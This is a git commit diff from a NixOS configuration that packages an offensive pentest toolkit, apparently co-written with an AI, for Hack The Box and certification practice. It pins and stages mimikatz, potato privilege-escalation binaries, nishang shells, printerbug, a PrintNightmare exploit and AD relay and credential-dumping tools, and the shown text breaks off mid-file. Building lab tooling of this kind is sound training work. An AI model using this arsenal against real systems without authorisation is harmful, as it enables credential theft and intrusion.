NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor
git clone https://git.daemon-sec.xyz/NixDaemon.git
Log | Files | Refs | README

commit 41900e37cf8b44c637b0bd4868bae51bd49a4100
parent 8b358a89ed362bfdf5635f899b5e775200fc45e0
Author: DAEMON <zer0sec.xp@icloud.com>
Date:   Thu,  8 Oct 2026 20:05:19 +0100

feat(pentest): modular offensive toolkit for CPTS prep

18 toggleable categories under daemon.pentest.*, built on a mkCategory helper
that derives the gated NixOS module, a devShell and a binary-resolution smoke
check from one package list each. Tools install to environment.systemPackages,
not home.packages, so they work under sudo.

HTB workflow: htbvpn (systemd template unit), htbtarget (shared across
terminals via a state file and a zsh precmd hook; manages a marked block in
/etc/hosts for Kerberos), htbtime (conflict-aware clock skew that restores
exactly what it changed), htb new, payload-serve (binds the tunnel only and
refuses to start without it).

$PAYLOADS stages Windows x64/x86, Linux amd64/arm64 and macOS arm64 payloads:
ligolo-ng and chisel cross-compiled from source; mimikatz (two versions), the
potato family, SharpCollection's 102 C# tools, PEASS, printerbug and
PrintNightmare pinned by hash. Both BloodHound viewers, with the CE/legacy
collector formats documented.

Verified: every category's smoke check, a cross-category profile-collision
check over all 18, four NixOS VM tests (htbvpn profile switching, htbtime
state round-trip, htbtarget input validation against /etc/hosts, BloodHound's
databases), and the whole-system build.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

Diffstat:
MREADME.md | 25+++++++++++++++++++++++++
Amodules/features/pentest/_impacket.nix | 23+++++++++++++++++++++++
Amodules/features/pentest/_overlay.nix | 48++++++++++++++++++++++++++++++++++++++++++++++++
Amodules/features/pentest/_pkgs/default.nix | 380+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Amodules/features/pentest/ad.nix | 61+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Amodules/features/pentest/bloodhound.nix | 199+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Amodules/features/pentest/cloud.nix | 20++++++++++++++++++++
Amodules/features/pentest/crack.nix | 30++++++++++++++++++++++++++++++
Mmodules/features/pentest/default.nix | 21+++++++++++++++++++++
Amodules/features/pentest/devshells.nix | 46++++++++++++++++++++++++++++++++++++++++++++++
Amodules/features/pentest/dfir.nix | 28++++++++++++++++++++++++++++
Amodules/features/pentest/gui.nix | 48++++++++++++++++++++++++++++++++++++++++++++++++
Amodules/features/pentest/htb.nix | 332+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Amodules/features/pentest/mobile.nix | 31+++++++++++++++++++++++++++++++
Amodules/features/pentest/nixpkgs.nix | 31+++++++++++++++++++++++++++++++
Mmodules/features/pentest/options.nix | 18++++++++++++++++--
Amodules/features/pentest/osint.nix | 18++++++++++++++++++
Amodules/features/pentest/payloads.nix | 331+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Amodules/features/pentest/pivot.nix | 55+++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mmodules/features/pentest/python.nix | 124+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++----------------
Amodules/features/pentest/reversing.nix | 33+++++++++++++++++++++++++++++++++
Amodules/features/pentest/shells.nix | 32++++++++++++++++++++++++++++++++
Amodules/features/pentest/time.nix | 283+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Amodules/features/pentest/update.nix | 168+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Amodules/features/pentest/vpn.nix | 229+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Amodules/features/pentest/web.nix | 34++++++++++++++++++++++++++++++++++
Amodules/features/pentest/wireless.nix | 35+++++++++++++++++++++++++++++++++++
Mmodules/home/cheats.nix | 3++-
Amodules/home/cheats/pentest.md | 178+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Amodules/home/htb-shell.nix | 63+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
30 files changed, 2899 insertions(+), 28 deletions(-)

diff --git a/README.md b/README.md @@ -68,6 +68,23 @@ NixDaemon/ │ ├── hyprland.nix desktop-hyprland: programs.hyprland (uwsm), the GTK portal — gated │ ├── niri.nix packages.niri (wrapper-modules: config.kdl from Nix, binds, Rosé Pine) + desktop-niri — gated │ └── noctalia.nix packages.noctalia (wrapper-modules: settings.json from Nix, Rosé Pine "Rosepine" scheme) + │ └── pentest/ the offensive toolkit — one NixOS module per category, all toggleable + │ ├── default.nix nixosModules.pentest: imports every category below by name + │ ├── options.nix daemon.pentest.enable + the options no category owns + │ ├── _sets.nix mkCategory: one package list -> gated module + devShell + smoke check + │ ├── _aliases.nix suffix-free script aliases, collision-guarded (impacket's net/split/ping) + │ ├── _impacket.nix impacket + its aliases, shared by python.nix and ad.nix + │ ├── _overlay.nix the nixpkgs fixes the toolkit needs (python 3.12 anyio), each dated + │ ├── _pkgs/ pinned derivations for what nixpkgs lacks (SharpCollection, PEASS, potatoes…) + │ ├── nixpkgs.nix one package set for the system and for the flake's own checks + │ ├── core.nix recon.nix ad.nix web.nix pivot.nix crack.nix shells.nix + │ ├── wordlists.nix python.nix bloodhound.nix gui.nix payloads.nix + │ ├── dfir.nix reversing.nix wireless.nix cloud.nix osint.nix mobile.nix (off by default) + │ ├── vpn.nix htbvpn: the HTB tunnel as a systemd template unit + │ ├── time.nix htb-time: conflict-aware clock skew for Kerberos + │ ├── htb.nix htbtarget / htb new: the box you are on, shared across terminals + │ ├── devshells.nix nix develop #pentest, and the all-category collision check + │ └── update.nix pentest-update: move the _pkgs pins forward, deliberately └── home/ flake.homeModules.* — the user's home ├── default.nix homeModules.daemonsec: imports every module below by name ├── hyprland.nix Lua config wiring, helper scripts, polkit, cliphist — only with daemon.desktop.hyprland @@ -81,6 +98,7 @@ NixDaemon/ ├── neovim.nix nvf: Neovim with a small Nix-built plugin set, Rosé Pine ├── prompt.nix starship and fastfetch ├── fan.nix `fan`: status and watch without root; max/auto with the clamp watchdog + ├── htb-shell.nix $TARGET/$BOX in every terminal (zsh precmd) and in the prompt ├── ssh.nix, gpg.nix, git.nix keys from sops, ~/.ssh/config, gpg.conf, git identity and signing ├── media.nix mpd, rmpc, mpv ├── yazi.nix, gtk.nix yazi with previews and Rosé Pine; Yaru-purple icons, cursor, prefer-dark @@ -104,6 +122,9 @@ NixDaemon/ | Secrets | sops-nix (age) for the repo; secretspec (keyring) for projects | modules/hosts/laptop/sops.nix, modules/home/sops.nix, shell.nix | | GPU | NVIDIA open module, panel on the RTX; Aquamarine told the GPUs by colon-free udev symlinks | modules/hosts/laptop/nvidia.nix | | Fan | `fan-throttle-guard`: 3.2 GHz floor, EC auto fan, `uniwill` hwmon from a 6.19 driver. `fan` command: status, watch, max/auto with a clamp watchdog | modules/hosts/laptop/fan-*.nix, uniwill-laptop/, modules/home/fan.nix | +| Pentest | 18 toggleable categories (`daemon.pentest.<category>.enable`): recon, AD, web, pivoting, cracking, shells, wordlists, payloads, BloodHound, GUI on; DFIR, reversing, wireless, cloud, OSINT, mobile off. Tools go to `environment.systemPackages`, so `sudo nmap -sS` works. Every category carries a smoke check: `nix flake check` | modules/features/pentest/ | +| HTB workflow | `htbvpn up/down/list` (systemd template unit), `htbtarget` (shared across terminals via zsh precmd; writes `/etc/hosts` for Kerberos), `htbtime` (clock skew, restores exactly what it changed), `htb new <box>`, `payload-serve` (binds the tunnel only, refuses when the VPN is down), `pentest-cheat` | modules/features/pentest/{vpn,time,htb,payloads}.nix | +| Payloads | `$PAYLOADS`: Windows x64/x86, Linux amd64/arm64 and macOS arm64. ligolo-ng and chisel cross-compiled from source; mimikatz (two versions), the potato family, SharpCollection's 102 C# tools and PEASS pinned by hash | modules/features/pentest/payloads.nix, _pkgs/ | | Nix | flakes, Hyprland cache, `nh` with weekly `clean all --keep 5 --keep-since 14d` | modules/hosts/laptop/nix-settings.nix | ## Setting it up @@ -116,6 +137,10 @@ nh os boot # same, but activate on next boot (kernel / driver nix-cheat # the full card: rebuild, remote, nh, home, search, update, rollback, clean, … nix-cheat nh # one section ns kitty # fuzzy search nixpkgs + NixOS/home-manager options, with descriptions +pentest-cheat # the offensive toolkit card: htb, recon, ad, pivot, transfer, crack, web, dfir +pentest-cheat ad # one section +nix flake check # every pentest category's smoke check, plus the VM tests +nix develop ~/NixDaemon#pentest # the whole toolkit without installing it ``` home-manager is a NixOS module here, so one rebuild does both; there is no diff --git a/modules/features/pentest/_impacket.nix b/modules/features/pentest/_impacket.nix @@ -0,0 +1,23 @@ +# modules/features/pentest/_impacket.nix — the impacket pieces, defined once. +# +# Both python.nix (which owns the category) and ad.nix (which cannot do Active +# Directory without secretsdump/ntlmrelayx/GetUserSPNs) need these. Defining +# them here means both get the SAME derivation and therefore the same store +# path, so installing both categories is not a profile collision. +{ lib, pkgs }: +rec { + impacket = pkgs.python3Packages.impacket; + + aliases = (import ./_aliases.nix { inherit lib pkgs; }) { + package = impacket; + prefix = "impacket"; + # Read at build time from what these packages really install, so the + # reserved set cannot rot. See _aliases.nix for why this matters. + reservedFrom = [ pkgs.coreutils pkgs.iputils pkgs.samba pkgs.util-linux ]; + # Nothing owns `mimikatz` on PATH, but the Windows mimikatz.exe in + # $PAYLOADS does, as far as a tired operator is concerned. + extraReserved = [ "mimikatz" ]; + }; + + both = [ impacket aliases ]; +} diff --git a/modules/features/pentest/_overlay.nix b/modules/features/pentest/_overlay.nix @@ -0,0 +1,48 @@ +# modules/features/pentest/_overlay.nix — fixes this toolkit needs from nixpkgs +# itself. Applied to both the system (nixpkgs.overlays) and the flake's +# perSystem pkgs, so `nix flake check` and `nh os switch` agree. +# +# Keep every entry justified and dated: an overlay is a fork, and each one is a +# thing to delete when nixpkgs catches up. +final: prev: +{ + # 2026-10-08 — anyio 4.14.2 fails 5 of 2596 tests on python 3.12 in nixpkgs: + # tests/streams/test_tls.py::test_tls_connectable raises + # ValueError('server_hostname can only be specified in client mode') on every + # backend, and TestDropwhile::test_checkpoints_empty_results trips unraisable + # warnings under uvloop. Both are test-harness problems, not library faults. + # + # Without this netexec cannot build at all — netexec -> certipy-ad/proxy-py -> + # httpx -> httpcore -> anyio — and `nxc` is the most used tool in CPTS. The + # deselect is narrow and named rather than a blanket doCheck = false, which + # would hide a real regression. + # + # Two things about the mechanism, both learned the hard way: + # + # 1. It must be pythonPackagesExtensions, not + # `python312.override { packageOverrides = ... }`. netexec's own + # package.nix does its own `python312.override { packageOverrides = ... }` + # to pin impacket, and that REPLACES an overlay's packageOverrides rather + # than composing with it — the fix vanished silently and netexec's + # derivation came out byte-identical. Extensions are applied wherever a + # python package set is constructed, so they survive that. + # + # 2. It must be scoped to 3.12. An unscoped extension applies to every + # python set and invalidates the binary cache for everything downstream of + # anyio in all of them: the first attempt had python3.14-twisted + # rebuilding from source with its full test suite for no reason. Only + # 3.12's anyio is broken; 3.14 (the default, used by impacket) is fine. + pythonPackagesExtensions = prev.pythonPackagesExtensions ++ [ + ( + pyfinal: pyprev: + prev.lib.optionalAttrs (pyprev ? anyio && (pyprev.python.pythonVersion or "") == "3.12") { + anyio = pyprev.anyio.overridePythonAttrs (o: { + disabledTests = (o.disabledTests or [ ]) ++ [ + "test_tls_connectable" + "test_checkpoints_empty_results" + ]; + }); + } + ) + ]; +} diff --git a/modules/features/pentest/_pkgs/default.nix b/modules/features/pentest/_pkgs/default.nix @@ -0,0 +1,380 @@ +# modules/features/pentest/_pkgs/default.nix — what nixpkgs does not carry. +# +# Not a flake-parts module (the path contains `/_`, so import-tree skips it); +# payloads.nix and the categories import it as a plain function. +# +# Every source is pinned by revision or by file hash, so the toolkit rolls back +# with the system generation and an upstream force-push cannot change what you +# staged on a target. `pentest-update` re-pins them on demand. +# +# Two kinds of thing live here: +# +# * Prebuilt .NET binaries (SharpCollection, the potato family, winPEAS). +# Building .NET offline under Nix is brittle, so these are pinned release +# assets, installed verbatim. This is the one place the toolkit trusts +# someone else's build — the hashes are what make that reviewable. +# * Scripts (krbrelayx, nishang, linpeas, PrintNightmare). Plain files, and +# the python ones get a wrapper so they run without a venv. +# +# Windows and non-x86 binaries are NOT here: those are cross-compiled from +# source in payloads.nix, which is better provenance than any download. +{ lib, pkgs }: +let + gh = args: pkgs.fetchFromGitHub args; + + # The krbrelayx scripts import impacket, ldap3, dnspython and pyasn1. + krbPython = pkgs.python3.withPackages (ps: with ps; [ + impacket + ldap3 + dnspython + pyasn1 + ]); +in +rec { + ##### Prebuilt .NET ######################################################### + + # 102 tools per framework/arch: Rubeus, SharpHound, Seatbelt, Certify, + # Whisker, SharpUp, SharpView, StandIn, ADCSPwn, SweetPotato, SharpPrinter, + # DeployPrinterNightmare, KrbRelay(Up), SafetyKatz, Snaffler, Inveigh… + # One pin covers most of the Windows AD arsenal. + sharpcollection = pkgs.stdenvNoCC.mkDerivation { + pname = "sharpcollection"; + version = "unstable-2026-10-08"; + src = gh { + owner = "Flangvik"; + repo = "SharpCollection"; + rev = "c53d7eb583d853de0bd693c1bb61581d59b2f44e"; + hash = "sha256-Uqf9QyTRbItUJifRbMIcVrP2YPTo0BH7ybiig64zuHg="; + }; + dontBuild = true; + installPhase = '' + mkdir -p $out + cp -r NetFramework_* $out/ + cp README.md $out/ 2>/dev/null || true + ''; + meta = { + description = "Nightly builds of common C# offensive tools"; + homepage = "https://github.com/Flangvik/SharpCollection"; + platforms = lib.platforms.all; + }; + }; + + # linpeas.sh and the winPEAS builds come from the release, not the repo: + # the repo only holds the builder that assembles them. + peass = + let + version = "20261006-4cf2d06d"; + asset = name: hash: pkgs.fetchurl { + url = "https://github.com/peass-ng/PEASS-ng/releases/download/${version}/${name}"; + inherit hash; + }; + in + pkgs.runCommand "peass-${version}" { } '' + mkdir -p $out/linux $out/windows + install -m0755 ${asset "linpeas.sh" "sha256-5Eso9YNTGbvD6R31h5Yl8q0CY07s+L3dAhbmfD64Cjs="} $out/linux/linpeas.sh + install -m0644 ${asset "winPEASx64.exe" "sha256-6eLCsHPPrhwiqDxGbsQ+Qp11KoONY01evH5Zf/LAYOw="} $out/windows/winPEASx64.exe + install -m0644 ${asset "winPEASx86.exe" "sha256-pZvQ8UUvnHdGhtGJxUUeqj98zpyp8gvzvFcGQEcJKQM="} $out/windows/winPEASx86.exe + install -m0644 ${asset "winPEASany.exe" "sha256-7BbBDWubysMakm2qN8fym8OIJuADnZPUv+24UEceu/w="} $out/windows/winPEASany.exe + ''; + + # The potato family: local privilege escalation from a service account with + # SeImpersonatePrivilege. Which one works depends on the Windows build, hence + # all of them. SweetPotato comes from sharpcollection above. + potatoes = + let + exe = name: url: hash: { inherit name url hash; kind = "exe"; }; + zip = name: url: hash: { inherit name url hash; kind = "zip"; }; + items = [ + (exe "JuicyPotato.exe" + "https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe" + "sha256-D1bHA+m33euQZGknusBaXG2VMIyOE7iOXU9LVyQj4DY=") + (exe "PrintSpoofer32.exe" + "https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer32.exe" + "sha256-R8nv+BQkkKLDQXAaq3quvDVe7RVA7tU0qDF90eZWFLI=") + (exe "PrintSpoofer64.exe" + "https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe" + "sha256-hST7wNc+cR5p1gxk8fG3vvNcmGcFiAZD3U1eF3eeWG0=") + (exe "GodPotato-NET2.exe" + "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET2.exe" + "sha256-MCeiEicpVymL9NMlBTcPpj+xYtampuwJGvnXYmMXqFg=") + (exe "GodPotato-NET4.exe" + "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe" + "sha256-mo6dWHtXDUB08cgxexY6qNDFZu/YjylNnYW8d3Y1Kig=") + (zip "JuicyPotatoNG.zip" + "https://github.com/antonioCoco/JuicyPotatoNG/releases/download/v1.1/JuicyPotatoNG.zip" + "sha256-jkVbpqLJBifMbLOLF7l022JRwex2PLg+66KIlwMapAk=") + (zip "RoguePotato.zip" + "https://github.com/antonioCoco/RoguePotato/releases/download/1.0/RoguePotato.zip" + "sha256-YVt58TkP8RaOi81y9zPHTUsQ/nSFX5AikYiz7hTiV6U=") + (zip "LocalPotato.zip" + "https://github.com/decoder-it/LocalPotato/releases/download/v1.1/LocalPotato.zip" + "sha256-PTLYdrX6oL75K6bpNb/S5C3kuD93Qp1Q12W6FhNf/kg=") + ]; + fetched = map (i: i // { drv = pkgs.fetchurl { inherit (i) url hash; }; }) items; + copyExe = i: ''install -m0644 ${i.drv} $out/${i.name}''; + copyZip = i: '' + ${pkgs.unzip}/bin/unzip -j -o ${i.drv} '*.exe' -d $out 2>/dev/null || \ + ${pkgs.unzip}/bin/unzip -o ${i.drv} -d $out/${lib.removeSuffix ".zip" i.name} + ''; + in + pkgs.runCommand "potatoes" { } '' + mkdir -p $out + ${lib.concatMapStringsSep "\n" (i: if i.kind == "exe" then copyExe i else copyZip i) fetched} + ls -1 $out > $out/.inventory || true + ''; + + # BloodHound Legacy (4.3.1), the old Electron GUI. + # + # nixpkgs REMOVED this on 2025-09-08 with the message "bloodhound's upstream + # is archived, and the package is running on Electron 11", and both halves of + # that are true: upstream is archived, and Electron 11 is years out of + # support. It is here because legacy BloodHound reads the OLD JSON format + # that bloodhound-python 1.9 and SharpHound v1 produce, which BloodHound CE + # cannot ingest — so for old collection data this is still the only viewer. + # + # Treat it as what it is: an unmaintained browser engine. Point it at your own + # lab data, not at anything untrusted. + bloodhoundLegacy = + let + version = "4.3.1"; + zipFile = pkgs.fetchurl { + url = "https://github.com/SpecterOps/BloodHound-Legacy/releases/download/v${version}/BloodHound-linux-x64.zip"; + hash = "sha256-OtQNrbPGAw5WoDeli6+REcx9ajor0CeF89L7Gg44aB0="; + }; + in + pkgs.stdenv.mkDerivation { + pname = "bloodhound-legacy"; + inherit version; + src = zipFile; + + nativeBuildInputs = [ + pkgs.unzip + pkgs.autoPatchelfHook + pkgs.makeWrapper + ]; + + buildInputs = with pkgs; [ + alsa-lib at-spi2-atk at-spi2-core atk cairo cups dbus expat + gdk-pixbuf glib gtk3 libdrm libxkbcommon libgbm mesa nspr nss pango + libGL libglvnd systemdLibs + xorg.libX11 xorg.libXcomposite xorg.libXdamage xorg.libXext + xorg.libXfixes xorg.libXrandr xorg.libxcb xorg.libXScrnSaver + xorg.libxshmfence xorg.libXtst + ]; + + unpackPhase = "unzip -q $src"; + dontBuild = true; + dontWrapGApps = true; + + installPhase = '' + runHook preInstall + mkdir -p $out/share/bloodhound-legacy $out/bin + cp -r BloodHound-linux-x64/. $out/share/bloodhound-legacy/ + # --no-sandbox: Electron's setuid sandbox cannot work from the store. + makeWrapper $out/share/bloodhound-legacy/BloodHound $out/bin/bloodhound-legacy \ + --add-flags "--no-sandbox" + runHook postInstall + ''; + + meta = { + description = "BloodHound Legacy 4.3.1 GUI (archived upstream, Electron 11) — reads pre-CE JSON"; + homepage = "https://github.com/SpecterOps/BloodHound-Legacy"; + platforms = [ "x86_64-linux" ]; + mainProgram = "bloodhound-legacy"; + }; + }; + + # linWinPwn: a bash front-end that drives the AD tools in sequence — + # enumeration, ADCS, kerberoasting, relay checks, BloodHound collection. + # It shells out to nxc, impacket, certipy, bloodhound-python, kerbrute, + # ldapdomaindump, smbmap and friends, every one of which the `ad` category + # already installs, so the wrapper just puts them on its PATH. + linwinpwn = pkgs.stdenvNoCC.mkDerivation { + pname = "linwinpwn"; + version = "unstable-2026-10-08"; + src = gh { + owner = "lefayjey"; + repo = "linWinPwn"; + rev = "5eea01aa754fbe005fee77d51be523e8836b730a"; + hash = "sha256-6wp1nRNX1Af81gi/zVXtIuJNKHiOyvmUqzFb9n8IGEE="; + }; + nativeBuildInputs = [ pkgs.makeWrapper ]; + dontBuild = true; + installPhase = '' + mkdir -p $out/share/linwinpwn $out/bin + cp -r . $out/share/linwinpwn/ + chmod +x $out/share/linwinpwn/linWinPwn.sh + # linWinPwn calls impacket under several spellings depending on distro + # (secretsdump.py on Kali, impacket-secretsdump on Debian), so give it + # both: the package's own .py names and the alias set. + makeWrapper $out/share/linwinpwn/linWinPwn.sh $out/bin/linWinPwn \ + --prefix PATH : ${ + lib.makeBinPath ( + (with pkgs; [ + bash coreutils gnugrep gnused gawk findutils which + netexec certipy bloodhound-py rusthound-ce kerbrute smbmap + ldapdomaindump enum4linux-ng nmap john hashcat + krb5 openldap samba curl jq openssl python3 + ]) + ++ (with pkgs.python3Packages; [ impacket pypykatz bloodyad lsassy ]) + ++ (import ../_impacket.nix { inherit lib pkgs; }).both + ) + } + ln -s $out/bin/linWinPwn $out/bin/linwinpwn + ''; + meta = { + description = "Bash script that streamlines the use of a number of Active Directory tools"; + homepage = "https://github.com/lefayjey/linWinPwn"; + platforms = lib.platforms.linux; + mainProgram = "linWinPwn"; + }; + }; + + ##### Scripts ############################################################### + + # dirkjanm's relay toolkit. printerbug.py is the one you reach for to coerce + # authentication out of a host via MS-RPRN — the "printer bug" — and it is + # the Linux counterpart to SpoolSample.exe. + krbrelayx = pkgs.stdenvNoCC.mkDerivation { + pname = "krbrelayx"; + version = "unstable-2026-10-08"; + src = gh { + owner = "dirkjanm"; + repo = "krbrelayx"; + rev = "10b45a33bc4361ec4a5546eea62db2e4244d3255"; + hash = "sha256-NnC14jVkWPhEtoGicTFMAef1/kHt8wZr6+Am4NQ4nUg="; + }; + nativeBuildInputs = [ pkgs.makeWrapper ]; + dontBuild = true; + installPhase = '' + mkdir -p $out/share/krbrelayx $out/bin + cp -r *.py lib $out/share/krbrelayx/ + for s in krbrelayx addspn dnstool printerbug; do + makeWrapper ${krbPython}/bin/python $out/bin/$s \ + --add-flags $out/share/krbrelayx/$s.py \ + --prefix PYTHONPATH : $out/share/krbrelayx + done + ''; + meta = { + description = "Kerberos relaying and unconstrained delegation abuse (krbrelayx, printerbug, addspn, dnstool)"; + homepage = "https://github.com/dirkjanm/krbrelayx"; + platforms = lib.platforms.linux; + mainProgram = "krbrelayx"; + }; + }; + + # Linux privilege-escalation enumeration, the thorough one. + lse = pkgs.stdenvNoCC.mkDerivation { + pname = "linux-smart-enumeration"; + version = "unstable-2026-10-08"; + src = gh { + owner = "diego-treitos"; + repo = "linux-smart-enumeration"; + rev = "b83a26f91641f85705c802f44aacb2ec42002157"; + hash = "sha256-QKJvjmSUtwcgZyz7KX5JYEWSznQuRyTBeDIv+5KpITg="; + }; + dontBuild = true; + installPhase = '' + install -Dm0755 lse.sh $out/bin/lse + install -Dm0755 lse.sh $out/share/lse/lse.sh + ''; + meta = { + description = "Linux enumeration for privilege escalation, with levels of detail"; + homepage = "https://github.com/diego-treitos/linux-smart-enumeration"; + platforms = lib.platforms.linux; + mainProgram = "lse"; + }; + }; + + # PowerShell offensive scripts: Invoke-PowerShellTcp, Get-Information, + # Invoke-Mimikatz, the Escalation and Gather sets. + nishang = pkgs.stdenvNoCC.mkDerivation { + pname = "nishang"; + version = "unstable-2026-10-08"; + src = gh { + owner = "samratashok"; + repo = "nishang"; + rev = "d87229d2112456470ad30a50edbf312463f2b09a"; + hash = "sha256-q0baS6x7ayfzfopM7FgL7bcSmPChMryMAryfjfg4ym0="; + }; + dontBuild = true; + installPhase = '' + mkdir -p $out/share/nishang + cp -r ActiveDirectory Antak-WebShell Backdoors Bypass Client Escalation \ + Execution Gather Misc MITM Pivot Prasadhak Scan Shells Utility \ + $out/share/nishang/ 2>/dev/null || true + cp *.md *.txt $out/share/nishang/ 2>/dev/null || true + ''; + meta = { + description = "Offensive PowerShell for penetration testing"; + homepage = "https://github.com/samratashok/nishang"; + platforms = lib.platforms.all; + }; + }; + + # PrintNightmare (CVE-2021-1675 / CVE-2021-34527), the python driver. + printnightmare = pkgs.stdenvNoCC.mkDerivation { + pname = "printnightmare"; + version = "unstable-2026-10-08"; + src = gh { + owner = "cube0x0"; + repo = "CVE-2021-1675"; + rev = "d2e96c1dc79f60f87eb88e22f01280e01c94a226"; + hash = "sha256-baFt3r03tWWSvHYxItz/49liLQe11ki20FaGdNqIT2Q="; + }; + dontBuild = true; + installPhase = '' + mkdir -p $out/share/printnightmare + cp CVE-2021-1675.py $out/share/printnightmare/ + cp -r SharpPrintNightmare $out/share/printnightmare/ 2>/dev/null || true + ''; + meta = { + description = "PrintNightmare (CVE-2021-1675 / CVE-2021-34527) exploit"; + homepage = "https://github.com/cube0x0/CVE-2021-1675"; + platforms = lib.platforms.all; + }; + }; + + # mimikatz, the older build. nixpkgs carries one version (2.2.0-20220919); + # this is the 2021 build, kept because which one a given host tolerates + # varies, and "the old one works" is a real finding on an old box. Staged as + # a distinct FILENAME — two versions cannot both be `mimikatz.exe`, which is + # exactly why payloads are files and not commands. + mimikatzOld = + let + version = "2.2.0-20210810-2"; + zipFile = pkgs.fetchurl { + url = "https://github.com/gentilkiwi/mimikatz/releases/download/${version}/mimikatz_trunk.zip"; + hash = "sha256-M/MZDlXkkDwvES2T+J23uY7Q4hzChVsKPoWAbgPVf0Q="; + }; + in + pkgs.runCommand "mimikatz-${version}" { } '' + mkdir -p $out + ${pkgs.unzip}/bin/unzip -q -o ${zipFile} -d $out + test -f $out/x64/mimikatz.exe || { echo "mimikatzOld: x64/mimikatz.exe missing" >&2; exit 1; } + test -f $out/Win32/mimikatz.exe || { echo "mimikatzOld: Win32/mimikatz.exe missing" >&2; exit 1; } + ''; + + # Source only — zcgonvh ships no binary. Kept because compiling it on the + # target with the in-box csc.exe is the documented way to use it. + efspotatoSource = pkgs.stdenvNoCC.mkDerivation { + pname = "efspotato-source"; + version = "unstable-2026-10-08"; + src = gh { + owner = "zcgonvh"; + repo = "EfsPotato"; + rev = "0474c9fa732656c95b31d923bec5d845a965c874"; + hash = "sha256-kJgvSTgySD9YfHcYEzXo2GRcOOti4ovzppDMX1oR2GM="; + }; + dontBuild = true; + installPhase = '' + mkdir -p $out + cp EfsPotato.cs README.md $out/ + ''; + meta = { + description = "EfsPotato (MS-EFSR coercion to SYSTEM), C# source to compile on target"; + homepage = "https://github.com/zcgonvh/EfsPotato"; + platforms = lib.platforms.all; + }; + }; +} diff --git a/modules/features/pentest/ad.nix b/modules/features/pentest/ad.nix @@ -0,0 +1,61 @@ +# modules/features/pentest/ad.nix — Active Directory, which is most of CPTS. +# +# impacket and its aliases come from _impacket.nix, shared with python.nix, so +# both categories install the identical derivation rather than colliding. +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "ad"; + description = "Active Directory: kerberos, LDAP, SMB, ADCS, relaying"; + + packages = pkgs: + let + extra = import ./_pkgs/default.nix { inherit lib pkgs; }; + in + (import ./_impacket.nix { inherit lib pkgs; }).both + ++ [ + # krbrelayx: `printerbug` coerces authentication out of a host over + # MS-RPRN — the printer bug — and is the Linux counterpart to + # SpoolSample.exe. Also krbrelayx, addspn, dnstool. Not in nixpkgs. + extra.krbrelayx + # linWinPwn: drives the tools in this category in sequence. Its wrapper + # carries them all on PATH, so it works without a Kali-shaped filesystem. + extra.linwinpwn + ] + ++ (with pkgs; [ + netexec # `nxc`, the maintained CrackMapExec + certipy # ADCS + # TWO collectors, because the formats are NOT interchangeable: + bloodhound-py # `bloodhound-python` 1.9 -> LEGACY (pre-CE) JSON + rusthound-ce # `rusthound-ce` -> BloodHound CE JSON, and much faster + kerbrute + responder + mitm6 + coercer + donpapi + adidnsdump + ldapdomaindump + smbmap + evil-winrm + krb5 + openldap + samba + ]) + ++ (with pkgs.python3Packages; [ + pypykatz + bloodyad # `bloodyAD` + lsassy + dploot + masky + ]); + + expectedBins = [ + "nxc" "certipy" "bloodhound-python" "kerbrute" "responder" "mitm6" + "coercer" "donpapi" "adidnsdump" "ldapdomaindump" "smbmap" "evil-winrm" + "pypykatz" "bloodyAD" "lsassy" "dploot" "masky" + # From _impacket.nix: proves the shared helper composes with this category. + "secretsdump" "ntlmrelayx" "GetUserSPNs" "secretsdump.py" + "rusthound-ce" + # From _pkgs/: the printer-bug family, and the automation front-end. + "printerbug" "krbrelayx" "addspn" "dnstool" "linWinPwn" + ]; +} diff --git a/modules/features/pentest/bloodhound.nix b/modules/features/pentest/bloodhound.nix @@ -0,0 +1,199 @@ +# modules/features/pentest/bloodhound.nix — BloodHound CE and the two databases +# it needs. +# +# nixpkgs has no services.bloodhound, so postgresql and neo4j are wired here by +# hand. Both are set to NOT start at boot: neo4j is a JVM that wants a GB of +# RAM, and this laptop should not pay for it on every boot just because the +# category is installed. Start them when you need the graph: +# +# bloodhound-up postgresql, neo4j, then the BloodHound API +# bloodhound-down stop all three +# bloodhound-status what is running, and the URL +# +# BOTH viewers are installed, and they are not interchangeable: +# +# bloodhound-ce the current server. Collect with `rusthound-ce` or +# SharpHound CE ($PAYLOADS/windows/amd64/ad), then upload +# the zip through its web UI. +# bloodhound-legacy the archived 4.3.1 Electron GUI, for data in the OLD +# format — what `bloodhound-python` 1.9 and SharpHound v1 +# produce. CE refuses that format, which is the only +# reason this is still here. +# +# So: CE data needs rusthound-ce; legacy data needs bloodhound-python. Feeding +# one format to the other viewer fails with an unhelpful parse error, and that +# is the single most common way to waste an hour with BloodHound. +# +# The first CE run prints its own admin credentials — this module deliberately +# does not invent a config file for the API: it manages the databases and the +# lifecycle, not BloodHound's own first-run bootstrap. +{ lib, self, ... }: +{ + imports = [ + ((import ./_sets.nix { inherit lib; }) { + name = "bloodhound"; + description = "BloodHound CE with its postgresql and neo4j"; + + packages = + pkgs: + [ + pkgs.bloodhound-ce # the CE server: API + web graph viewer + pkgs.neo4j # `cypher-shell`, for poking the graph by hand + pkgs.bloodhound-py # legacy-format collector + pkgs.rusthound-ce # CE-format collector + ] + ++ [ + # BloodHound Legacy 